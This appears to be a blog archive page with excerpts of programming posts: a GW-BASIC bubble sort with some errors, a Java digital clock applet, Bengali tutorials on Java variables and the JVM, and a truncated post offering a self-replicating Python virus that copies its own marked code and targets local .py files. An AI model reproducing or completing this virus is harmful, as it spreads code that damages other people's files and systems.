Skip to main content

Posts

Showing posts from January, 2018

Bubble borting q basic program. gw basic program for ICSE

1010 REM Bubble Sort program 1100 REM Initialize the array 1100 LET N = 10 1110 ARRAY A 1120 GOSUB 3000 1130 REM Print the random array 1140 PRINT "Random list:" 1150 GOSUB 4000 1160 REM Sort the array 1170 GOSUB 2000 1180 PRINT "Sorted list:" 1200 REM Print the sorted array 1210 GOSUB 4000 1220 END 2000 REM Bubble sort the list A of length N 2010 FOR I = 1 TO N - 1 2020 FOR J = 1 TO N - I 2030 IF A[J] <= A[J+1] THEN GOTO 2070 2040 LET X = A[J] 2050 LET A[J] = A[J+1] 2060 LET A[J+1] = X  2070 NEXT J 2080 NEXT I 2090 RETURN 3000 REM Create a random list of N integers 3030 FOR I = 1 TO N 3040 LET A[I] = FLOOR(RAND(100)) 3070 NEXT I 3090 RETURN  4000 REM PRINT the list A 4010 FOR I = 1 TO N 4020 PRINT A[I]; 4030 PRINT ", "; 4040 NEXT I

java program to make digital clock

import  java.applet.*;   import  java.awt.*;   import  java.util.*;   import  java.text.*;      public   class  DigitalClock  extends  Applet  implements  Runnable {         Thread t =  null ;       int  hours= 0 , minutes= 0 , seconds= 0 ;      String timeString =  "" ;          public   void  init() {         setBackground( Color.green);      }          public   void  start() {           t =  new  Thread(  this  );           t.start(); ...

জাভা মধ্যে ভেরিয়েবল

একটি পরিবর্তনশীল একটি নাম যা একটি মান সঙ্গে যুক্ত করা হয় যা পরিবর্তিত হতে পারে।   উদাহরণস্বরূপ, যখন আমি  int i=10;  লিখি  int i=10;   এখানে ভেরিয়েবল নামটি হল  i  যা মান 10 এর সাথে যুক্ত, int হল একটি ডাটা টাইপ যা এই ভেরিয়েবলকে পূর্ণসংখ্যা মান ধরে রাখতে পারে।   আমরা পরের টিউটোরিয়ালে ডাটা প্রকারগুলি আবরণ করব।   এই টিউটোরিয়ালে, আমরা ভেরিয়েবল সম্পর্কে আলোচনা করব। জাভাতে প্রচলন নামকরণের ভেরিয়েবল 1) ভ্যারিয়েবল নামকরণে সাদা স্পেস থাকতে পারে না, উদাহরণস্বরূপ: int num ber = 100;   অবৈধ কারণ এটিতে ভেরিয়েবলের নাম রয়েছে।   2) ভেরিয়েবল নামটি বিশেষ অক্ষর দিয়ে শুরু হতে পারে যেমন $ এবং _   3) জাভা কোডিং মান অনুযায়ী ভেরিয়েবল নামটি একটি ছোট হাতের অক্ষর দিয়ে শুরু করা উচিত, উদাহরণস্বরূপ, int সংখ্যা;   লম্বা ভেরিয়েবলের নামের জন্য যা একাধিক শব্দে আছে, এটি এই রকম: int smallNumber;   int bigNumber; (মূল শব্দটি দিয়ে দ্বিতীয় শব্দটি শুরু করুন)   4) ভেরিয়েবল নাম জাভা ক্ষেত্রে কেস সংবেদনশীল। জাভাতে ভেরিয়েবলের প্র...

জাভা ভার্চুয়াল মেশিন (জেভিএম), পার্থক্য JDK, JRE এবং জেভিএম - কোর জাভা

জাভা একটি উচ্চ স্তরের প্রোগ্রামিং ভাষা।   একটি উচ্চ স্তরের ভাষা লিখিত প্রোগ্রাম সরাসরি কোনো মেশিনে চালানো যাবে না।   প্রথমত, এটি নির্দিষ্ট মেশিন ভাষাতে অনুবাদ করা প্রয়োজন।   জাভাক কম্পাইলারটি  এই জিনিসটি করে, এটি জাভা প্রোগ্রাম (.java ফাইলটি সোর্স কোড ধারণ করে) এবং এটি মেশিন কোডে রূপান্তরিত করে (বাইট কোড বা .class ফাইল হিসাবে উল্লেখ করা হয়)। জাভা ভার্চুয়াল মেশিন (জেভিএম) একটি ভার্চুয়াল মেশিন যা বাস্তব মেশিনে থাকে (আপনার কম্পিউটার) এবং  JVM এর জন্য মেশিন ভাষা বাইট কোড  ।   এটি কম্পাইলারের জন্য এটি সহজ করে তোলে কারণ এটি প্রতিটি মেশিনের জন্য বিভিন্ন মেশিন কোডের পরিবর্তে JVM এর জন্য বাইট কোড তৈরি করেছে।   JVM কম্পাইলার দ্বারা উত্পন্ন বাইট কোড চালায় এবং আউটপুট উত্পাদন করে।   JVM হল এমন একটি যা জাভা প্ল্যাটফর্মকে স্বাধীন করে তোলে  । সুতরাং, এখন আমরা বুঝতে পারি যে JVM এর প্রাথমিক ফাংশনটি কম্পাইলার দ্বারা উত্পাদিত বাইট কোড চালানো হয়। প্রতিটি অপারেটিং সিস্টেমের JVM ভিন্ন রয়েছে, তবে বিট কোড চালানোর পর যে সমস্ত আউটপুট তারা উৎপন্ন করে ত...

Effective virus to destroy any PC using Python

#!/usr/bin/env python   ##### VIRUS BEGIN ##### import os, glob, sys, re   def getVirusFromSelf():      "getVirusFromSelf - Returns the lines of the virus in a list"      code = []     fileHandle = open (sys.argv[ 0 ], "r" )     inVirus = False     while 1 :         line = fileHandle.readline()         if not line: break         if re.search( "^##### VIRUS BEGIN #####" , line): inVirus = True         if inVirus: code.append(line)         if re.search( "^##### VIRUS END #####" , line): break     fileHandle.close()     return code   def getPythonList():     "getPythonList - Return a list of Python programs"     progs = glob.glob( "*.py" )  ...